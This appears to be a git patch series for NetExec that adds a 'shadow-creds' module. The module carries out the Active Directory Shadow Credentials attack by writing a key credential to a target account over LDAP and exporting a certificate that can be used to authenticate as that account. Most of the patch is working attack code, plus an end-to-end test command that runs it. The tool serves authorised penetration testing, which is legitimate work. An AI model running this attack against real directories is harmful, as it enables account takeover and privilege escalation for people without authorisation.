From c19cd14eb233ea7f527ca9af0f1a5d1ca406764f Mon Sep 17 00:00:00 2001 From: QU35T-code Date: Fri, 26 Sep 2025 19:24:54 +0200 Subject: [PATCH 1/4] Add Shadow Credentials module --- nxc/modules/shadow-creds.py | 197 ++++++++++++++++++++++++++++++++++++ pyproject.toml | 1 + 2 files changed, 198 insertions(+) create mode 100644 nxc/modules/shadow-creds.py diff --git a/nxc/modules/shadow-creds.py b/nxc/modules/shadow-creds.py new file mode 100644 index 0000000000..2881763536 --- /dev/null +++ b/nxc/modules/shadow-creds.py @@ -0,0 +1,197 @@ +from nxc.helpers.misc import CATEGORY +from nxc.paths import TMP_PATH +from datetime import datetime +from pathlib import Path +from types import SimpleNamespace +from pywhisker.pywhisker import ShadowCredentials, init_ldap_session +import secrets, string + +class _PywLoggerAdapter: + """Forward pywhisker logs to NetExec's logger, and flag specific conditions.""" + def __init__(self, context, verbosity=2, quiet=False): + self.context = context + self.verbosity = verbosity + self.quiet = quiet + self.perm_denied = False + self.not_found = False + + self._denied_patterns = ( + "insuff_access_rights", + "00002098" + ) + self._notfound_patterns = ( + "user not found" + ) + + def info(self, msg): self.context.log.info(msg) + def success(self, msg): self.context.log.success(msg) + + def error(self, msg): + txt = str(msg) + low = txt.lower() + + if any(p in low for p in self._notfound_patterns): + self.not_found = True + # downrank to verbose to avoid double-print; we'll emit a clear fail later + if self.verbosity >= 2: + self.context.log.debug(txt) + return + + if any(p in low for p in self._denied_patterns): + self.perm_denied = True + if self.verbosity >= 2: + self.context.log.debug(txt) + return + + # default: show as error + self.context.log.error(txt) + + def debug(self, msg): + if self.verbosity >= 1: + self.context.log.debug(msg) + + def verbose(self, msg): + if self.verbosity >= 2: + self.context.log.debug(msg) + + def warning(self, msg): + self.context.log.highlight(msg) + +class NXCModule: + """ + Module by @qu35t_tv + """ + name = "shadow-creds" + description = "Exploits the Shadow Credentials attack to extract the authentication certificate from the target" + supported_protocols = ["ldap"] + category = CATEGORY.PRIVILEGE_ESCALATION + + def __init__(self): + self.domain = None + self.dc_ip = None + self.username = None + self.password = None + self.nthash = None + + self.target = None + self.pfx_pass = None + self.out_dir = None + self.paths = {} + + def options(self, context, module_options): + """ + Options: + TARGET= (required) + PFXPASS= (optional; default: random strong password) + OUTDIR= (optional) + """ + self.target = module_options.get("TARGET") or module_options.get("target") + if not self.target: + context.log.fail("TARGET is required (e.g., TARGET=svc_backup or TARGET=pc01$)") + exit(1) + self.pfx_pass = module_options.get("PFXPASS") or module_options.get("pfxpass") or None + + ts = datetime.now().strftime("%Y%m%d-%H%M%S") + suggested = Path(TMP_PATH) / f"shadow-creds-{self.target}-{ts}" + self.out_dir = Path(module_options.get("OUTDIR") or module_options.get("outdir") or suggested).resolve() + return {"TARGET": self.target, "PFXPASS": "" if not self.pfx_pass else "", "OUTDIR": str(self.out_dir)} + + # ---------------- helpers ---------------- + def _ensure_outdir(self): + self.out_dir.mkdir(parents=True, exist_ok=True) + + def _gather_conn_info(self, connection): + self.domain = getattr(connection, "domain", None) + self.dc_ip = getattr(connection, "dc_ip", None) or getattr(connection, "host", None) + self.username = getattr(connection, "username", None) + self.password = getattr(connection, "password", None) + self.nthash = getattr(connection, "nthash", None) + if not self.domain: + self.context.log.fail("Missing 'domain' on connection") + exit(1) + + def _get_ldap_handles(self, context, connection): + args = SimpleNamespace( + dc_ip=self.dc_ip, + dc_host=None, + use_ldaps=False, + use_schannel=False, + use_kerberos=False, + auth_hashes=None, + auth_key=None, + crt=None, + key=None, + ) + + password = self.password or "" + lmhash = "" + nthash = (self.nthash or "").lower() + + if nthash: + if ":" in nthash: + lmhash, _, nt_only = nthash.partition(":") + lmhash = lmhash or "" + nthash = nt_only + args.auth_hashes = f"{lmhash}:{nthash}" + password = "" + + srv, sess = init_ldap_session(args, self.domain, self.username, password, lmhash, nthash) + context.log.debug("Created LDAP session via pywhisker.init_ldap_session()") + return srv, sess + + + def _step_shadow_creds(self, context, connection): + # Create LDAP session + ldap_server, ldap_session = self._get_ldap_handles(context, connection) + logger = _PywLoggerAdapter(context, verbosity=0, quiet=False) + + self._ensure_outdir() + base_path = str(self.out_dir / self.target) + self.paths["pfx"] = base_path + ".pfx" + + # Generate PFX password + if not self.pfx_pass: + alphabet = string.ascii_letters + string.digits + self.pfx_pass = "".join(secrets.choice(alphabet) for _ in range(24)) + + sc = ShadowCredentials( + ldap_server, ldap_session, + target_samname=self.target, + target_domain=self.domain, + logger=logger + ) + + sc.add( + password=self.pfx_pass, + path=base_path, + export_type="PFX", + domain=self.domain, + target_domain=None + ) + + pfx_path = Path(self.paths["pfx"]) + if not pfx_path.exists(): + if logger.perm_denied: + context.log.fail("No permissions to modify msDS-KeyCredentialLink on the target (INSUFF_ACCESS_RIGHTS).") + return + if logger.not_found: + context.log.fail("TARGET not found in LDAP.") + return + raise RuntimeError("PFX not created by pywhisker API") + context.log.success(f"PFX password: {self.pfx_pass}") + + def on_login(self, context, connection): + try: + self._gather_conn_info(connection) + self._ensure_outdir() + self.paths["dir"] = str(self.out_dir) + context.log.success(f"Output directory: {self.out_dir}") + except Exception as e: + context.log.error(str(e)) + return + + try: + self._step_shadow_creds(context, connection) + except Exception as e: + context.log.error(f"Shadow Credentials attack failed: {e}") + return \ No newline at end of file diff --git a/pyproject.toml b/pyproject.toml index fa70c0761f..dd3a7aea56 100644 --- a/pyproject.toml +++ b/pyproject.toml @@ -43,6 +43,7 @@ dependencies = [ "termcolor>=2.4.0", "terminaltables>=3.1.0", "xmltodict>=0.13.0", + "pywhisker>=0.1.2", # Git Dependencies "impacket @ git+https://github.com/Pennyw0rth/impacket.git", "oscrypto @ git+https://github.com/wbond/oscrypto", From 58dadc10a00c7d47e34595c298f1d0930f4d7e64 Mon Sep 17 00:00:00 2001 From: QU35T-code Date: Fri, 26 Sep 2025 19:25:41 +0200 Subject: [PATCH 2/4] Add e2e command --- tests/e2e_commands.txt | 1 + 1 file changed, 1 insertion(+) diff --git a/tests/e2e_commands.txt b/tests/e2e_commands.txt index 4a36484f21..c26d7b0c4e 100644 --- a/tests/e2e_commands.txt +++ b/tests/e2e_commands.txt @@ -222,6 +222,7 @@ netexec ldap TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M subnets netexec ldap TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M user-desc netexec ldap TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M whoami netexec ldap TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M dump-computers +netexec ldap TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M shadow-creds -o "TARGET=LOGIN_USERNAME" ##### WINRM netexec winrm TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS # need an extra space after this command due to regex netexec winrm TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -X ipconfig From d5578f57e55a29efcd0948a44bafadf83ab3de66 Mon Sep 17 00:00:00 2001 From: QU35T-code Date: Fri, 26 Sep 2025 19:27:15 +0200 Subject: [PATCH 3/4] Add lint --- nxc/modules/shadow-creds.py | 16 +++++++++------- 1 file changed, 9 insertions(+), 7 deletions(-) diff --git a/nxc/modules/shadow-creds.py b/nxc/modules/shadow-creds.py index 2881763536..156489f813 100644 --- a/nxc/modules/shadow-creds.py +++ b/nxc/modules/shadow-creds.py @@ -4,7 +4,9 @@ from pathlib import Path from types import SimpleNamespace from pywhisker.pywhisker import ShadowCredentials, init_ldap_session -import secrets, string +import secrets +import string + class _PywLoggerAdapter: """Forward pywhisker logs to NetExec's logger, and flag specific conditions.""" @@ -13,7 +15,7 @@ def __init__(self, context, verbosity=2, quiet=False): self.verbosity = verbosity self.quiet = quiet self.perm_denied = False - self.not_found = False + self.not_found = False self._denied_patterns = ( "insuff_access_rights", @@ -57,6 +59,7 @@ def verbose(self, msg): def warning(self, msg): self.context.log.highlight(msg) + class NXCModule: """ Module by @qu35t_tv @@ -101,11 +104,11 @@ def _ensure_outdir(self): self.out_dir.mkdir(parents=True, exist_ok=True) def _gather_conn_info(self, connection): - self.domain = getattr(connection, "domain", None) - self.dc_ip = getattr(connection, "dc_ip", None) or getattr(connection, "host", None) + self.domain = getattr(connection, "domain", None) + self.dc_ip = getattr(connection, "dc_ip", None) or getattr(connection, "host", None) self.username = getattr(connection, "username", None) self.password = getattr(connection, "password", None) - self.nthash = getattr(connection, "nthash", None) + self.nthash = getattr(connection, "nthash", None) if not self.domain: self.context.log.fail("Missing 'domain' on connection") exit(1) @@ -139,7 +142,6 @@ def _get_ldap_handles(self, context, connection): context.log.debug("Created LDAP session via pywhisker.init_ldap_session()") return srv, sess - def _step_shadow_creds(self, context, connection): # Create LDAP session ldap_server, ldap_session = self._get_ldap_handles(context, connection) @@ -194,4 +196,4 @@ def on_login(self, context, connection): self._step_shadow_creds(context, connection) except Exception as e: context.log.error(f"Shadow Credentials attack failed: {e}") - return \ No newline at end of file + return From bcf2337c74a495fe702b8b3368246d8107547c2e Mon Sep 17 00:00:00 2001 From: QU35T-code Date: Fri, 26 Sep 2025 19:30:55 +0200 Subject: [PATCH 4/4] Remove useless comment --- nxc/modules/shadow-creds.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/nxc/modules/shadow-creds.py b/nxc/modules/shadow-creds.py index 156489f813..b08f9c6719 100644 --- a/nxc/modules/shadow-creds.py +++ b/nxc/modules/shadow-creds.py @@ -34,7 +34,7 @@ def error(self, msg): if any(p in low for p in self._notfound_patterns): self.not_found = True - # downrank to verbose to avoid double-print; we'll emit a clear fail later + # downrank to verbose to avoid double-print if self.verbosity >= 2: self.context.log.debug(txt) return